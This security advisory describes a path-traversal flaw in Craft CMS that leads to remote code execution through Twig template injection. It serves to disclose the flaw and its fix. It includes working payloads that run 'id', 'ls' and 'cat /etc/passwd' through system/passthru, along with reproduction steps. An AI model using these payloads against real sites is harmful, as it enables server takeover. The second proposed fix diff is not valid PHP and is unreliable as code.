| Package | Affected versions | Patched versions |
|---|---|---|
| craftcms/cms | ≥ 4.0.0-RC1, < 4.12.2≥ 5.0.0-RC1, < 5.4.3 | 4.12.25.4.3 |
| craft cms | = 4.0.0= 5.0.0> 4.0.0, < 4.12.2> 5.0.0, < 5.4.3 | 4.12.25.4.3 |
Missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI.
(Post-authentication, ALLOW_ADMIN_CHANGES=true)
Note: This is a sequel to CVE-2023-40035
In src/helpers/FileHelper.php#L106-L137, the function absolutePath returned $from . $ds . $to without path normalization:
/**
* Returns an absolute path based on a source location or the current working directory.
*
* @param string $to The target path.
* @param string|null $from The source location. Defaults to the current working directory.
* @param string $ds the directory separator to be used in the normalized result. Defaults to `DIRECTORY_SEPARATOR`.
* @return string
* @since 4.3.5
*/
public static function absolutePath(
string $to,
?string $from = null,
string $ds = DIRECTORY_SEPARATOR,
): string {
$to = static::normalizePath($to, $ds);
// Already absolute?
if (
str_starts_with($to, $ds) ||
preg_match(sprintf('/^[A-Z]:%s/', preg_quote($ds, '/')), $to)
) {
return $to;
}
if ($from === null) {
$from = FileHelper::normalizePath(getcwd(), $ds);
} else {
$from = static::absolutePath($from, ds: $ds);
}
return $from . $ds . $to;
}
This could leads to multiple security risks, one of them is in src/services/Security.php#L201-L220 where ../templates/poc is not considered a system dir.
Let's see what happens after calling isSystemDir("../templates/poc"):
/**
* Returns whether the given file path is located within or above any system directories.
*
* @param string $path
* @return bool
* @since 5.4.2
*/
public function isSystemDir(string $path): bool // $path = "../templates/poc"
{
$path = FileHelper::absolutePath($path, '/'); // $path = "/var/www/html/web//../templates/poc"
foreach (Craft::$app->getPath()->getSystemPaths() as $dir) {
$dir = FileHelper::absolutePath($dir, '/'); // $dir = "/var/www/html/templates"
if (str_starts_with("$path/", "$dir/") || str_starts_with("$dir/", "$path/")) { // if (false || false)
return true;
}
}
return false; // We're here!
}
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeNow that the path ../templates/poc can bypass isSystemDir, it will also bypass the function validatePath in src/fs/Local.php#L124-L136:
/**
* @param string $attribute
* @param array|null $params
* @param InlineValidator $validator
* @return void
* @since 4.4.6
*/
public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void
{
if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) {
$validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.'));
}
}
We can now create a Local filesystem within the system directories, particularly in /var/www/html/templates/poc
Then create a new asset volume with that filesystem, upload a poc.ttml file with twig code and execute using a new route with template path poc/poc.ttml
Although craftcms does sandbox twig ssti, the list in src/web/twig/Extension.php#L180-L268 is still incomplete.
{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}
These payloads still work, see twigphp/Twig/src/Extension/CoreExtension.php#getFilters() and twigphp/Twig/src/Extension/CoreExtension.php#getOperators() for more informations.
mkdir craftcms && cd craftcms
ddev config --project-type=craftcms --docroot=web --create-docroot
ddev composer create -y --no-scripts "craftcms/craft"
ddev craft install
php craft setup/security-key
ddev start
../templates/pocNotice that the poc directory was created
poc filesystemUpload a poc.ttml file with RCE template code
{{'<pre>'}}
{{ 8*8 }}
{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}
Note: find was added to twig last month. If you're running this poc on an older version of twig try removing the last 2 lines.
* with template poc/poc.ttml/*diff --git a/src/helpers/FileHelper.php b/src/helpers/FileHelper.php
index 0c2da884a7..ac23ce556a 100644
--- a/src/helpers/FileHelper.php
+++ b/src/helpers/FileHelper.php
@@ -133,7 +133,7 @@ class FileHelper extends \yii\helpers\FileHelper
$from = static::absolutePath($from, ds: $ds);
}
- return $from . $ds . $to;
+ return FileHelper::normalizePath($from . $ds . $to);
}
/**
See twigphp/Twig/src/Extension/CoreExtension.php for updated filters and operators, a possible fix could look like:
diff --git a/src/web/twig/Extension.php b/src/web/twig/Extension.php
index efff2d2412..756f452f8b 100644
--- a/src/web/twig/Extension.php
+++ b/src/web/twig/Extension.php
@@ -225,6 +225,9 @@ class Extension extends AbstractExtension implements GlobalsInterface
new TwigFilter('lcfirst', [$this, 'lcfirstFilter']),
new TwigFilter('literal', [$this, 'literalFilter']),
new TwigFilter('map', [$this, 'mapFilter'], ['needs_environment' => true]),
+ new TwigFilter('find', [$this, 'find'], ['needs_environment' => true]),
+ new TwigFilter('has some' => ['precedence' => 20, 'class' => HasSomeBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),
+ new TwigFilter('has every' => ['precedence' => 20, 'class' => HasEveryBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),
new TwigFilter('markdown', [$this, 'markdownFilter'], ['is_safe' => ['html']]),
new TwigFilter('md', [$this, 'markdownFilter'], ['is_safe' => ['html']]),
new TwigFilter('merge', [$this, 'mergeFilter']),
Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.
Although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)